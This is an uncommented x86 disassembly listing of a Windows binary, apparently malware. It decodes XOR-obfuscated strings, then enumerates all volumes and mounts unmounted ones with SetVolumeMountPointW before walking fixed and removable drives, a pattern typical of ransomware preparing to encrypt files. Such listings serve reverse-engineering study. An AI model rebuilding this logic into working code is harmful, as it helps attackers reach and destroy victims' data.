mov edx, dword [esp + 0xf0]
call fcn.0045eb65
movzx ebx, byte [eax + 2]
movzx esi, word [eax]
mov ecx, 3
xor esi, 0x6f2a
xor bl, 0x9e
call fcn.0045e82e
mov dword [esp + 0x378], eax
lea eax, [0x4846e6]
mov dword [esp + 0x374], edx
mov word [edx], si
mov byte [edx + 2], bl
mov dword [esp + 0xf0], eax
lea eax, [esp + 0xf0]
mov ecx, dword [esp + 0xf0]
mov dword [esp + 0xf0], 0x4d5273a0
mov edx, dword [esp + 0xf0]
call fcn.0045ebf4
movzx ebx, byte [eax + 2]
movzx esi, word [eax]
mov ecx, 3
xor esi, 0x6afe
xor bl, 0xd1
call fcn.0045e82e
mov dword [esp + 0x370], eax
lea eax, [0x482cfa]
mov dword [esp + 0x36c], edx
mov word [edx], si
mov byte [edx + 2], bl
mov dword [esp + 0xf0], eax
lea eax, [esp + 0xf0]
mov ecx, dword [esp + 0xf0]
mov dword [esp + 0xf0], 0xbe423570
mov edx, dword [esp + 0xf0]
call fcn.0045ec36
movzx ebx, byte [eax + 2]
movzx esi, word [eax]
mov ecx, 3
xor esi, 0xee40
xor bl, 0x9c
call fcn.0045e82e
mov dword [esp + 0x368], eax
lea eax, [0x47b038]
mov dword [esp + 0x364], edx
mov word [edx], si
mov byte [edx + 2], bl
mov dword [esp + 0xf0], eax
lea eax, [esp + 0xf0]
mov ecx, dword [esp + 0xf0]
mov dword [esp + 0xf0], 0xf1b7d5c0
mov edx, dword [esp + 0xf0]
call fcn.0045ee1e
movzx ebx, byte [eax + 2]
movzx esi, word [eax]
mov ecx, 3
xor esi, 0x4ecc
xor bl, 0xd7
call fcn.0045e82e
mov dword [esp + 0x360], eax
lea eax, [0x47e3c2]
mov dword [esp + 0x35c], edx
mov word [edx], si
mov byte [edx + 2], bl
mov dword [esp + 0xf0], eax
lea eax, [esp + 0xf0]
mov ecx, dword [esp + 0xf0]
mov dword [esp + 0xf0], 0x21dacfa6
mov edx, dword [esp + 0xf0]
call fcn.0045edc2
movzx ebx, byte [eax + 2]
movzx esi, word [eax]
mov ecx, 3
xor esi, 0x5b4f
xor bl, 0x4e
call fcn.0045e82e
mov dword [esp + 0x358], eax
lea eax, [0x4783bf]
mov dword [esp + 0x354], edx
mov word [edx], si
mov byte [edx + 2], bl
mov dword [esp + 0xf0], eax
lea eax, [esp + 0xf0]
mov ecx, dword [esp + 0xf0]
mov dword [esp + 0xf0], 0x9437b21f
mov edx, dword [esp + 0xf0]
call fcn.0045ebe0
movzx ebx, byte [eax + 2]
movzx esi, word [eax]
mov ecx, 3
xor esi, 0xb4d0
xor bl, 0xd3
call fcn.0045e82e
mov dword [esp + 0x350], eax
lea eax, [0x478499]
mov dword [esp + 0x34c], edx
mov word [edx], si
mov byte [edx + 2], bl
mov dword [esp + 0xf0], eax
lea eax, [esp + 0xf0]
mov ecx, dword [esp + 0xf0]
mov dword [esp + 0xf0], 0x87771739
mov edx, dword [esp + 0xf0]
call fcn.0045ec58
movzx ebx, byte [eax + 2]
movzx esi, word [eax]
mov ecx, 3
xor esi, 0x7776
xor bl, 0xab
call fcn.0045e82e
mov dword [esp + 0x348], eax
lea eax, [0x483a11]
mov dword [esp + 0x344], edx
mov word [edx], si
mov byte [edx + 2], bl
mov dword [esp + 0xf0], eax
lea eax, [esp + 0xf0]
mov ecx, dword [esp + 0xf0]
mov dword [esp + 0xf0], 0xea1141d6
mov edx, dword [esp + 0xf0]
call fcn.0045edd6
movzx ebx, byte [eax + 2]
movzx esi, word [eax]
mov ecx, 3
xor esi, 0x907f
xor bl, 0x51
call fcn.0045e82e
mov dword [esp + 0x340], eax
lea eax, [0x478975]
mov dword [esp + 0x33c], edx
mov word [edx], si
mov byte [edx + 2], bl
mov dword [esp + 0xf0], eax
lea eax, [esp + 0xf0]
mov ecx, dword [esp + 0xf0]
mov dword [esp + 0xf0], 0x8756a6e4
mov edx, dword [esp + 0xf0]
call fcn.0045ed81
movzx ebx, byte [eax + 2]
movzx esi, word [eax]
mov ecx, 3
xor esi, 0x2708
xor bl, 0x42
call fcn.0045e82e
mov dword [esp + 0x338], eax
lea eax, [0x47e072]
mov dword [esp + 0x334], edx
mov word [edx], si
mov byte [edx + 2], bl
lea ecx, [esp + 0xf0]
mov dword [esp + 0xf0], eax
mov eax, ecx
mov ecx, dword [esp + 0xf0]
mov dword [esp + 0xf0], 0x97f06e09
mov edx, dword [esp + 0xf0]
call fcn.0045eade
movzx ebx, byte [eax + 2]
movzx esi, word [eax]
mov ecx, 3
xor esi, 0x52d9
xor bl, 0xef
call fcn.0045e82e
mov ecx, dword [esp + 0x50]
mov word [edx], si
mov byte [edx + 2], bl
mov esi, dword [esp + 0xc]
mov dword [esp + 0x50], 0x17
mov dword [edi], ecx
mov ecx, dword [esp + 8]
mov dword [edi + 4], ecx
mov ecx, 3
mov dword [edi + 8], ecx
mov dword [edi + 0xc], esi
mov esi, dword [esp + 0x14]
mov dword [edi + 0x10], esi
mov esi, dword [esp + 0x10]
mov dword [edi + 0x14], ecx
mov dword [edi + 0x18], esi
mov esi, dword [esp + 0x18]
mov dword [edi + 0x1c], esi
mov esi, dword [esp + 0x1c]
mov dword [edi + 0x20], ecx
mov dword [edi + 0x24], esi
mov esi, dword [esp + 0x3c]
mov dword [edi + 0x28], esi
mov esi, dword [esp + 0x60]
mov dword [edi + 0x2c], ecx
mov dword [edi + 0x30], esi
mov esi, dword [esp + 0x68]
mov dword [edi + 0x34], esi
mov esi, dword [esp + 0xac]
mov dword [edi + 0x38], ecx
mov dword [edi + 0x3c], esi
mov esi, dword [esp + 0xe8]
mov dword [edi + 0x40], esi
mov esi, dword [esp + 0x3b0]
mov dword [edi + 0x44], ecx
mov dword [edi + 0x48], esi
mov esi, dword [esp + 0x3ac]
mov dword [edi + 0x4c], esi
mov esi, dword [esp + 0x3a8]
mov dword [edi + 0x50], ecx
mov dword [edi + 0x54], esi
mov esi, dword [esp + 0x3a4]
mov dword [edi + 0x58], esi
mov esi, dword [esp + 0x3a0]
mov dword [edi + 0x5c], ecx
mov dword [edi + 0x60], esi
mov esi, dword [esp + 0x39c]
mov dword [edi + 0x64], esi
mov esi, dword [esp + 0x398]
mov dword [edi + 0x68], ecx
mov dword [edi + 0x6c], esi
mov esi, dword [esp + 0x394]
mov dword [edi + 0x70], esi
mov esi, dword [esp + 0x390]
mov dword [edi + 0x74], ecx
mov dword [edi + 0x78], esi
mov esi, dword [esp + 0x38c]
mov dword [edi + 0x7c], esi
mov esi, dword [esp + 0x388]
mov dword [edi + 0x80], ecx
mov dword [edi + 0x84], esi
mov esi, dword [esp + 0x384]
mov dword [edi + 0x88], esi
mov esi, dword [esp + 0x380]
mov dword [edi + 0x8c], ecx
mov dword [edi + 0x90], esi
mov esi, dword [esp + 0x37c]
mov dword [edi + 0x94], esi
mov esi, dword [esp + 0x378]
mov dword [edi + 0x98], ecx
mov dword [edi + 0x9c], esi
mov esi, dword [esp + 0x374]
mov dword [edi + 0xa0], esi
mov esi, dword [esp + 0x370]
mov dword [edi + 0xa4], ecx
mov dword [edi + 0xa8], esi
mov esi, dword [esp + 0x36c]
mov dword [edi + 0xac], esi
mov esi, dword [esp + 0x368]
mov dword [edi + 0xb0], ecx
mov dword [edi + 0xb4], esi
mov esi, dword [esp + 0x364]
mov dword [edi + 0xb8], esi
mov esi, dword [esp + 0x360]
mov dword [edi + 0xbc], ecx
mov dword [edi + 0xc0], esi
mov esi, dword [esp + 0x35c]
mov dword [edi + 0xc4], esi
mov esi, dword [esp + 0x358]
mov dword [edi + 0xc8], ecx
mov dword [edi + 0xcc], esi
mov esi, dword [esp + 0x354]
mov dword [edi + 0xd0], esi
mov esi, dword [esp + 0x350]
mov dword [edi + 0xd4], ecx
mov dword [edi + 0xd8], esi
mov esi, dword [esp + 0x34c]
mov dword [edi + 0xdc], esi
mov esi, dword [esp + 0x348]
mov dword [edi + 0xe0], ecx
mov dword [edi + 0xe4], esi
mov esi, dword [esp + 0x344]
mov dword [edi + 0xe8], esi
mov esi, dword [esp + 0x340]
mov dword [edi + 0xec], ecx
mov dword [edi + 0xf0], esi
mov esi, dword [esp + 0x33c]
mov dword [edi + 0xf4], esi
mov esi, dword [esp + 0x338]
mov dword [edi + 0xf8], ecx
mov dword [edi + 0xfc], esi
mov esi, dword [esp + 0x334]
mov dword [edi + 0x100], esi
xor esi, esi
mov dword [edi + 0x104], ecx
mov dword [edi + 0x108], eax
mov dword [edi + 0x10c], edx
mov dword [edi + 0x110], ecx
mov eax, 0x17
mov ecx, 0x8000
inc esi
mov dword [esp + 0x70], eax
mov dword [esp + 0x74], edi
mov dword [esp + 0x78], eax
mov edx, esi
call fcn.0045e7e9
mov ebx, edx
mov ecx, 0x8000
mov edx, esi
call fcn.0045e7e9
mov dword [esp + 0xc], edx
push 0x8000
push ebx
call sub.kernel32.dll_FindFirstVolumeW
cmp eax, 0xffffffff
mov dword [esp + 0x14], eax
je 0x40a5f4
mov esi, edi
lea edi, [esp + 0x20]
mov dword [esp + 0x10], ebx
add esi, 0xfffffffc
mov dword [esp + 0x18], esi
mov dword [esp + 0x20], 0
push edi
push 0x8000
push dword [esp + 0x14]
push ebx
call sub.kernel32.dll_GetVolumePathNamesForVolumeNameW
test eax, eax
je 0x40a4d6
cmp dword [esp + 0x20], 0
jne 0x40a5d4
mov ecx, dword [esp + 0x50]
xor eax, eax
test ecx, ecx
je 0x40a57d
lea eax, [ecx + ecx*2]
dec ecx
lea edi, [esi + eax*4]
mov ebx, dword [edi - 8]
cmp ebx, 0x80000000
je 0x40a56f
mov edx, dword [edi - 4]
mov dword [esp + 0x50], ecx
lea ecx, [esp + 0xf0]
mov dword [esp + 8], edx
push dword [edi]
call fcn.0045f280
add esp, 4
mov esi, dword [esp + 0xf4]
push esi
call sub.kernel32.dll_GetDriveTypeW
cmp eax, 1
je 0x40a587
cmp dword [esp + 0xf0], 0
je 0x40a53d
push esi
push 0
push dword [0x48fd58]
call dword [sym.imp.kernel32.dll_HeapFree]
test ebx, ebx
je 0x40a553
push dword [esp + 8]
push 0
push dword [0x48fd58]
call dword [sym.imp.kernel32.dll_HeapFree]
mov ecx, dword [esp + 0x50]
add edi, 0xfffffff4
add ecx, 0xffffffff
jb 0x40a4eb
mov esi, dword [esp + 0x18]
mov ebx, dword [esp + 0x10]
lea edi, [esp + 0x20]
xor eax, eax
jmp 0x40a57d
mov esi, dword [esp + 0x18]
mov ebx, dword [esp + 0x10]
mov eax, ecx
lea edi, [esp + 0x20]
mov dword [esp + 0x78], eax
mov dword [esp + 0x50], eax
jmp 0x40a5d4
mov eax, dword [esp + 0x50]
mov dword [esp + 0x78], eax
push dword [esp + 0x10]
push esi
call sub.kernel32.dll_SetVolumeMountPointW
cmp dword [esp + 0xf0], 0
lea edi, [esp + 0x20]
je 0x40a5b6
push esi
push 0
push dword [0x48fd58]
call dword [sym.imp.kernel32.dll_HeapFree]
test ebx, ebx
je 0x40a5cc
push dword [esp + 8]
push 0
push dword [0x48fd58]
call dword [sym.imp.kernel32.dll_HeapFree]
mov esi, dword [esp + 0x18]
mov ebx, dword [esp + 0x10]
push 0x8000
push ebx
push dword [esp + 0x1c]
call sub.kernel32.dll_FindNextVolumeW
test eax, eax
jne 0x40a4af
push dword [esp + 0x14]
call sub.kernel32.dll_FindVolumeClose
mov edi, dword [sym.imp.kernel32.dll_HeapFree]
xor esi, esi
push dword [esp + 0xc]
push esi
push dword [0x48fd58]
call edi
push ebx
push esi
push dword [0x48fd58]
call edi
lea ecx, [esp + 0x70]
call fcn.0045f234
lea eax, [0x46e0fd]
mov dword [esp + 0xf0], eax
lea eax, [esp + 0xf0]
mov ecx, dword [esp + 0xf0]
mov dword [esp + 0xf0], 0xf4650bf2
mov edx, dword [esp + 0xf0]
call fcn.004037cf
xorps xmm0, xmm0
mov ecx, 0xfffffffc
mov dword [esp + 0x100], esi
movaps xmmword [esp + 0xf0], xmm0
mov edx, dword [ecx + 0x473aac]
xor edx, dword [eax + ecx + 4]
mov dword [esp + ecx + 0xf4], edx
add ecx, 4
cmp ecx, 0x10
jb 0x40a665
mov eax, dword [esp + 0x100]
movaps xmm0, xmmword [esp + 0xf0]
mov ecx, 0x14
xor edx, edx
mov dword [esp + 0x30], eax
movaps xmmword [esp + 0x20], xmm0
call fcn.0043b1bc
movsd xmm0, qword [esp + 0x20]
movsd xmm1, qword [esp + 0x28]
lea esi, [esp + 0x70]
lea edi, [esp + 0x40]
movsd qword [edx], xmm0
movsd qword [edx + 8], xmm1
mov ecx, dword [esp + 0x30]
mov dword [edx + 0x10], ecx
mov dword [esp + 0xf4], eax
lea eax, [esp + 0xf0]
mov dword [esp + 0xf8], edx
mov dword [esp + 0xfc], 0x14
mov dword [esp + 0xf0], 0x13
mov ecx, esi
mov edx, edi
push eax
call fcn.00402e6d
add esp, 4
mov ecx, esi
call fcn.00401b70
mov ecx, edi
call fcn.00401e6f
mov eax, dword [esp + 0x3e0]
mov ecx, dword [esp + 0x3d4]
or ecx, eax
sete byte [esp + 0x3c]
jne 0x40ae36
cmp byte [esp + 0x455], 0
setne byte [esp + 0x60]
jne 0x40a797
mov edi, dword [esp + 0x3f8]
mov eax, dword [esp + 0x3fc]
mov ebx, dword [esp + 0x400]
lea esi, [edi + 0x40]
mov dword [esp + 0x50], eax
mov ecx, esi
call fcn.00445952
lock inc dword [edi]
jle 0x40b71a
mov al, byte [0x48fdb4]
xor ecx, ecx
mov edx, 0xc
call fcn.0045a4d0
test eax, eax
je 0x40b7a6
mov ecx, dword [esp + 0x50]
mov dword [eax], edi
mov edx, 0x407454
mov dword [eax + 4], ecx
mov dword [eax + 8], ebx
mov ecx, esi
push eax
call fcn.004456b1
add esp, 4
xor ecx, ecx
lea eax, [esp + 0x40]
mov edx, 4
mov dword [esp + 0x1c], 4
mov dword [esp + 0x64], 0
mov edi, 0x105
mov dword [eax], ecx
mov dword [eax + 4], edx
mov dword [eax + 8], ecx
lea eax, [esp + 0x20]
mov dword [eax], ecx
mov dword [eax + 4], edx
xor edx, edx
mov dword [eax + 8], ecx
mov ecx, 0x105
inc edx
call fcn.0045e7e9
mov esi, edx
push edx
push edi
call sub.kernel32.dll_GetLogicalDriveStringsW
cmp eax, edi
mov dword [esp + 0xac], esi
cmovb edi, eax
test edi, edi
je 0x40a80b
lea eax, [edi + edi]
xor ebx, ebx
cmp word [esi + ebx*2], 0
je 0x40a815
inc ebx
add eax, 0xfffffffe
jne 0x40a7f6
mov cl, 1
mov eax, esi
mov ebx, edi
jmp 0x40a820
mov cl, 1
xor ebx, ebx
mov eax, esi
xor edi, edi
jmp 0x40a828
lea eax, [ebx + 1]
xor ecx, ecx
sub edi, eax
lea eax, [esi + ebx*2 + 2]
test esi, esi
je 0x40aafe
mov dword [esp + 8], ecx
mov dword [esp + 0x50], eax
push esi
call sub.kernel32.dll_GetDriveTypeW
lea ecx, [eax - 2]
cmp ecx, 2
jae 0x40a8d5
lea ecx, [esp + 0xf0]
mov edx, esi
push ebx
call fcn.00453380
add esp, 4
mov eax, dword [esp + 0xf0]
mov ebx, dword [esp + 0xf4]
lea ecx, [esp + 0x70]
mov dword [esp + 0x10], eax
mov edx, ebx
push dword [esp + 0xf8]
call fcn.0045d4f0
add esp, 4
mov esi, dword [esp + 0x70]
mov dword [esp + 0xc], edi
mov dword [esp + 0x14], ebx
cmp esi, 0x80000000
jne 0x40a96d
xor esi, esi
cmp byte [esp + 0x74], 3
mov byte [esp + 0x18], 1
jne 0x40a9eb
mov edi, dword [esp + 0x78]
mov eax, dword [edi]
mov ebx, dword [edi + 4]
mov dword [esp + 0x68], eax
push eax
call dword [ebx]
add esp, 4
cmp dword [ebx + 4], 0
je 0x40a9dc
cmp dword [ebx + 8], 9
jae 0x40a9c6
mov eax, dword [esp + 0x68]
jmp 0x40a9cd
cmp eax, 4
jne 0x40aaef
lea ecx, [esp + 0xf0]
mov edx, esi
push ebx
call fcn.00453380
add esp, 4
mov eax, dword [esp + 0xf0]
mov ebx, dword [esp + 0xf4]
lea ecx, [esp + 0x70]
mov dword [esp + 0x10], eax
mov edx, ebx
push dword [esp + 0xf8]
call fcn.0045d4f0
add esp, 4
mov esi, dword [esp + 0x70]
mov dword [esp + 0xc], edi
mov dword [esp + 0x14], ebx
cmp esi, 0x80000000
jne 0x40a998
xor esi, esi
cmp byte [esp + 0x74], 3
mov byte [esp + 0x18], 1
jne 0x40aa6f
mov edi, dword [esp + 0x78]
mov eax, dword [edi]
mov ebx, dword [edi + 4]
mov dword [esp + 0x68], eax
push eax
call dword [ebx]
add esp, 4
cmp dword [ebx + 4], 0
je 0x40aa60
cmp dword [ebx + 8], 9
jae 0x40aa4a
mov eax, dword [esp + 0x68]
jmp 0x40aa51
lea ecx, [esp + 0x7d]
mov al, byte [esp + 0x7c]
mov edi, dword [esp + 0x74]
mov ebx, dword [esp + 0x78]
movzx edx, word [ecx]
mov cl, byte [ecx + 2]
mov byte [esp + 0x18], al
mov word [esp + 0xf0], dx
mov byte [esp + 0xf2], cl
jmp 0x40a9f0
lea ecx, [esp + 0x7d]
mov al, byte [esp + 0x7c]
mov ebx, dword [esp + 0x74]
mov edi, dword [esp + 0x78]
movzx edx, word [ecx]
mov cl, byte [ecx + 2]
mov byte [esp + 0x18], al
mov word [esp + 0xf0], dx
mov byte [esp + 0xf2], cl
jmp 0x40aa74
mov eax, dword [esp + 0x68]
mov eax, dword [eax - 4]
push eax
push 0
push dword [0x48fd58]
call dword [sym.imp.kernel32.dll_HeapFree]
push edi
push 0
push dword [0x48fd58]
call dword [sym.imp.kernel32.dll_HeapFree]
xor edi, edi
xor ebx, ebx
inc edi
mov edx, dword [esp + 0x48]
cmp edx, dword [esp + 0x40]
jne 0x40aa07
lea ecx, [esp + 0x40]
call fcn.0045e8a0
mov edx, dword [esp + 0x48]
mov ecx, dword [esp + 0x44]
mov eax, edx
inc edx
shl eax, 4
cmp dword [esp + 0x10], 0
mov dword [ecx + eax], esi
mov dword [ecx + eax + 4], edi
mov dword [ecx + eax + 8], ebx
mov bl, byte [esp + 0x18]
mov byte [ecx + eax + 0xc], bl
movzx esi, word [esp + 0xf0]
mov word [ecx + eax + 0xd], si
mov bl, byte [esp + 0xf2]
mov byte [ecx + eax + 0xf], bl
mov dword [esp + 0x48], edx
jmp 0x40aad7
mov eax, dword [esp + 0x68]
mov eax, dword [eax - 4]
push eax
push 0
push dword [0x48fd58]
call dword [sym.imp.kernel32.dll_HeapFree]
push edi
push 0
push dword [0x48fd58]
call dword [sym.imp.kernel32.dll_HeapFree]
xor ebx, ebx
xor edi, edi
inc ebx
mov edx, dword [esp + 0x64]
mov ecx, dword [esp + 0x1c]
cmp edx, dword [esp + 0x20]
jne 0x40aa93
lea ecx, [esp + 0x20]
call fcn.0045e8a0
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x28]
mov eax, edx
inc edx
shl eax, 4
cmp dword [esp + 0x10], 0
mov dword [esp + 0x64], edx
mov dword [ecx + eax], esi
mov dword [ecx + eax + 4], ebx
mov bh, byte [esp + 0x18]
mov dword [ecx + eax + 8], edi
mov esi, ecx
mov dword [esp + 0x1c], esi
mov byte [ecx + eax + 0xc], bh
movzx ecx, word [esp + 0xf0]
mov word [esi + eax + 0xd], cx
mov cl, byte [esp + 0xf2]
mov byte [esi + eax + 0xf], cl
mov dword [esp + 0x28], edx
mov edi, dword [esp + 0xc]
je 0x40aaef
push dword [esp + 0x14]
push 0
push dword [0x48fd58]
call dword [sym.imp.kernel32.dll_HeapFree]
cmp byte [esp + 8], 0
mov esi, dword [esp + 0x50]
je 0x40a7ed
push dword [esp + 0xac]
push 0
push dword [0x48fd58]
call dword [sym.imp.kernel32.dll_HeapFree]
mov eax, dword [esp + 0x40]
mov ebx, dword [esp + 0x44]
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
mov esi, dword [esp + 0x28]
mov dword [esp + 0x20], ebx
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x48]
mov dword [esp + 0xc], edx
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x68], esi
mov edx, eax
shl edx, 4
add edx, ebx
test eax, eax
mov dword [esp + 0x64], edx
mov dword [esp + 0x2c], edx
je 0x40aca2
add ebx, 0x10
mov eax, dword [ebx - 0x10]
cmp eax, 0x80000000
je 0x40aca2
mov dword [esp + 0x10], eax
mov eax, dword [ebx - 0xc]
lea ecx, [ebx - 0x10]
mov edi, dword [ebx - 8]
xor edx, edx
mov dword [esp + 0x14], ecx
mov dword [esp + 0x50], eax
mov al, byte [ebx - 4]
mov byte [esp + 8], al
mov al, byte [ecx + 0xf]
mov byte [esp + 0x42], al
movzx eax, word [ecx + 0xd]
mov ecx, edi
mov word [esp + 0x40], ax
call fcn.0043b1bc
mov esi, edx
mov dword [esp + 0x18], eax
push edi
push dword [esp + 0x54]
push edx
call fcn.00462380
add esp, 0xc
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x404]
mov dword [esp + 0xf0], eax
mov al, byte [esp + 8]
mov dword [esp + 0xf4], esi
lea esi, [esp + 0x70]
mov dword [esp + 0xf8], edi
mov ecx, esi
mov byte [esp + 0xfc], al
lea eax, [esp + 0xf0]
push eax
call fcn.00402d94
add esp, 4
mov eax, dword [esp + 0x70]
cmp eax, 0x80000000
je 0x40ac12
test eax, eax
je 0x40ac12
push dword [esp + 0x74]
push 0
push dword [0x48fd58]
call dword [sym.imp.kernel32.dll_HeapFree]
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0xfd]
lea edx, [esp + 0x408]
mov dword [esp + 0xf0], eax
mov eax, dword [esp + 0x50]
mov dword [esp + 0xf4], eax
mov al, byte [esp + 8]
mov dword [esp + 0xf8], edi
mov byte [esp + 0xfc], al
mov al, byte [esp + 0x42]
mov byte [ecx + 2], al
movzx eax, word [esp + 0x40]
mov word [ecx], ax
lea eax, [esp + 0xf0]
mov ecx, esi
push eax
call fcn.00402d94
add esp, 4
mov eax, dword [esp + 0x70]
cmp eax, 0x80000000
je 0x40ac8a
test eax, eax
je 0x40ac8a
push dword [esp + 0x74]
push 0
push dword [0x48fd58]
call dword [sym.imp.kernel32.dll_HeapFree]
mov eax, dword [esp + 0x14]
add ebx, 0x10
add eax, 0x10
cmp eax, dword [esp + 0x64]
jne 0x40ab59
mov ebx, dword [esp + 0x64]
lea esi, [esp + 0x20]
mov ecx, esi
mov dword [esi + 4], ebx
call fcn.00401d48
mov edx, dword [esp + 0x68]
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x1c]
mov edi, edx
mov dword [esi], eax
mov dword [esi + 8], ecx
shl edi, 4
add edi, eax
test edx, edx
mov dword [esp + 0x64], edi
mov dword [esi + 0xc], edi
je 0x40ae25
add eax, 0x10
mov ecx, dword [eax - 0x10]
cmp ecx, 0x80000000
je 0x40ae25
mov dword [esp + 0x14], ecx
lea ecx, [eax - 0x10]
mov ebx, dword [eax - 0xc]
mov edi, dword [eax - 8]
mov dword [esp + 0xc], eax
mov al, byte [eax - 4]
xor edx, edx
mov dword [esp + 0x50], ecx
mov byte [esp + 0x10], al
mov al, byte [ecx + 0xf]
mov byte [esp + 0x42], al
movzx eax, word [ecx + 0xd]
mov ecx, edi
mov word [esp + 0x40], ax
call fcn.0043b1bc
mov esi, edx
mov dword [esp + 0x18], eax
push edi
mov dword [esp + 0xc], ebx
push ebx
mov bl, byte [esp + 0x18]
push edx
call fcn.00462380
add esp, 0xc
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x40c]
mov dword [esp + 0xf0], eax
mov dword [esp + 0xf4], esi
lea esi, [esp + 0x70]
lea eax, [esp + 0xf0]
mov dword [esp + 0xf8], edi
mov byte [esp + 0xfc], bl
mov ecx, esi
push eax
call fcn.00402d94
add esp, 4
mov eax, dword [esp + 0x70]
cmp eax, 0x80000000
je 0x40ad95
test eax, eax
je 0x40ad95
push dword [esp + 0x74]
push 0
push dword [0x48fd58]
call dword [sym.imp.kernel32.dll_HeapFree]
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0xfd]
lea edx, [esp + 0x410]
mov dword [esp + 0xf0], eax
mov eax, dword [esp + 8]
mov dword [esp + 0xf4], eax
mov al, byte [esp + 0x42]
mov dword [esp + 0xf8], edi
mov byte [esp + 0xfc], bl
mov byte [ecx + 2], al
movzx eax, word [esp + 0x40]
mov word [ecx], ax
lea eax, [esp + 0xf0]
mov ecx, esi
push eax
call fcn.00402d94
add esp, 4
mov eax, dword [esp + 0x70]
cmp eax, 0x80000000
je 0x40ae09
test eax, eax
je 0x40ae09
push dword [esp + 0x74]
push 0
push dword [0x48fd58]
call dword [sym.imp.kernel32.dll_HeapFree]
mov ecx, dword [esp + 0x50]
mov eax, dword [esp + 0xc]
add ecx, 0x10
add eax, 0x10
cmp ecx, dword [esp + 0x64]
jne 0x40acda
mov eax, dword [esp + 0x64]
lea ecx, [esp + 0x20]
mov dword [ecx + 4], eax
call fcn.00401d48
jmp 0x40b353
mov ebx, dword [esp + 0x3dc]
mov ecx, dword [esp + 0x3d8]
mov esi, eax
shl esi, 4
add esi, ebx
test eax, eax
mov dword [esp + 0x40], ebx
mov dword [esp + 0x48], ecx
mov dword [esp + 0x1c], esi
mov dword [esp + 0x4c], esi
je 0x40b295
add ebx, 0x10
mov eax, dword [ebx - 0x10]
cmp eax, 0x80000000
je 0x40b295
mov dword [esp + 0x10], eax
mov al, byte [ebx - 4]
lea ecx, [ebx - 0x10]
mov edx, dword [ebx - 0xc]
mov edi, dword [ebx - 8]
mov dword [esp + 0xc], ebx
mov dword [esp + 0x14], ecx
mov byte [esp + 0x18], al
mov al, byte [ecx + 0xf]
mov dword [esp + 0x50], edx
mov byte [esp + 0xda], al
movzx eax, word [ecx + 0xd]
lea ecx, [esp + 0x20]
mov word [esp + 0xd8], ax
push edi
call fcn.00453830
add esp, 4
movzx esi, byte [esp + 0x20]
mov eax, dword [esp + 0x28]
mov edx, dword [esp + 0x30]
mov dword [esp + 8], edi
mov ecx, 6
mov ebx, dword [esi*4 + 0x40b7d4]
mov esi, edi
mov edi, dword [esp + 0x50]
add ebx, dword [esp + 0x64]
jmp ebx
lea ecx, [esp + 0x40]
mov dword [ecx + 4], ebx
call fcn.00401d48
mov ecx, dword [esp + 0x3d4]
mov ebx, dword [esp + 0x3d0]
mov eax, dword [esp + 0x3cc]
mov esi, ecx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x28], eax
shl esi, 4
add esi, ebx
test ecx, ecx
mov dword [esp + 0x2c], esi
je 0x40b342
add ebx, 0x10
mov eax, dword [ebx - 0x10]
cmp eax, 0x80000000
je 0x40b342
lea edi, [ebx - 0x10]
mov dword [esp + 0x70], eax
lea ecx, [esp + 0x74]
lea edx, [esp + 0x3fc]
mov eax, dword [edi + 0xc]
mov dword [ecx + 8], eax
lea eax, [esp + 0x70]
movsd xmm0, qword [edi + 4]
movsd qword [ecx], xmm0
lea ecx, [esp + 0xf0]
push eax
call fcn.00402d94
add esp, 4
mov eax, dword [esp + 0xf0]
cmp eax, 0x80000000
je 0x40b336
test eax, eax
je 0x40b336
push dword [esp + 0xf4]
push 0
push dword [0x48fd58]
call dword [sym.imp.kernel32.dll_HeapFree]
add edi, 0x10
add ebx, 0x10
cmp edi, esi
jne 0x40b2d0
mov ebx, esi
lea ecx, [esp + 0x20]
mov dword [ecx + 4], ebx
call fcn.00401d48
mov byte [esp + 0x60], 1
mov eax, dword [esp + 0x418]
mov ebx, dword [esp + 0x414]
mov dword [esp + 0x50], eax
mov eax, dword [esp + 0x41c]
mov dword [esp + 8], eax
call fcn.0044568d
lea edi, [eax + 0x40]
mov esi, eax
mov ecx, edi
call fcn.00445952
lock inc dword [esi]
jle 0x40b71a
mov al, byte [0x48fdb4]
xor ecx, ecx
mov edx, 0x10
call fcn.0045a4d0
test eax, eax
je 0x40b72a
mov ecx, dword [esp + 0x50]
mov dword [eax], esi
mov dword [eax + 4], ebx
mov edx, 0x406c30
mov dword [eax + 8], ecx
mov ecx, dword [esp + 8]
mov dword [eax + 0xc], ecx
mov ecx, edi
push eax
call fcn.004456b1
add esp, 4
lock dec dword [esi]
jne 0x40b3d2
mov ecx, esi
call fcn.0044313b
mov edi, dword [esp + 0x3f8]
mov ecx, dword [esp + 0x424]
mov eax, dword [esp + 0x420]
mov edx, dword [esp + 0x410]
mov ebx, dword [esp + 0x40c]
lea esi, [edi + 0x40]
mov dword [esp + 0xc], ecx
mov dword [esp + 0x50], eax
mov dword [esp + 8], edx
mov ecx, esi
call fcn.00445952
lock inc dword [edi]
jle 0x40b71a
mov al, byte [0x48fdb4]
xor ecx, ecx
mov edx, 0x14
call fcn.0045a4d0
test eax, eax
je 0x40b748
mov ecx, dword [esp + 0x50]
mov dword [eax], edi
mov edx, 0x406e11
mov dword [eax + 4], ecx
mov ecx, dword [esp + 8]
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ecx
mov ecx, dword [esp + 0xc]
mov dword [eax + 0x10], ecx
mov ecx, esi
push eax
call fcn.004456b1
add esp, 4
mov edi, dword [esp + 0x3f8]
mov ecx, dword [esp + 0x430]
mov eax, dword [esp + 0x428]
mov ebx, dword [esp + 0x42c]
lea esi, [edi + 0x40]
mov dword [esp + 8], ecx
mov dword [esp + 0x50], eax
mov ecx, esi
call fcn.00445952
lock inc dword [edi]
jle 0x40b71a
mov al, byte [0x48fdb4]
xor ecx, ecx
mov edx, 0x10
call fcn.0045a4d0
test eax, eax
je 0x40b72a
mov ecx, dword [esp + 0x50]
mov dword [eax], edi
mov edx, 0x40c1db
mov dword [eax + 4], ecx
mov ecx, dword [esp + 8]
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ecx
mov ecx, esi
push eax
